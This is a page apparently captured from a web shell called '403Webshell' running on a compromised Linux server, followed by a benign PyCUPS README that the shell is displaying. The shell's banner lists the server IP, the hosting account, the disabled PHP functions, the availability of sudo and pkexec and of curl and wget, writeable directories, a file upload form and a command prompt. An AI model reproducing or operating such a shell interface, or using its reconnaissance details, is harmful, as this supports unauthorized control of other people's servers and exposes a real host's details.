403Webshell
Server IP : 85.112.90.236  /  Your IP : 192.168.1.26
Web Server : Apache
System : Linux 85-112-90-236.cprapid.com 6.12.0-211.7.3.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 12:46:58 EDT 2026 x86_64
User : ftechme ( 1002)
PHP Version : 8.2.32
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/doc/python3-cups/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/share/doc/python3-cups/README
CUPS bindings for Python
------------------------

These Python bindings are intended to wrap the CUPS API.

Python 3 or later is required since Python 2 is unsupported since 2020-01-01.

Build dependencies
------------------

The following packages are needed for compiling PyCUPS. GCC compiler is needed because modules are written
in C. CUPS development files are needed for providing CUPS API, which are used in modules and Python3
development files for Python3 functions called in modules.

Packages needed for compilation (default package names are from Fedora, Ubuntu names are in the brackets
if they differ from Fedora):

- gcc
- cups-devel (libcups2-dev)
- python3-devel (python3-dev)

Please install them before compiling PyCUPS.

Runtime dependencies
--------------------

CUPS needs to be installed and running for PyCUPS working correctly.

How to compile and install
--------------------------

Do the following steps in the PyCUPS directory:
$ make
$ sudo make install

How to import cups module in python3 script
-------------------------------------------

>>> import cups

Youez - 2016 - github.com/yon3zu
LinuXploit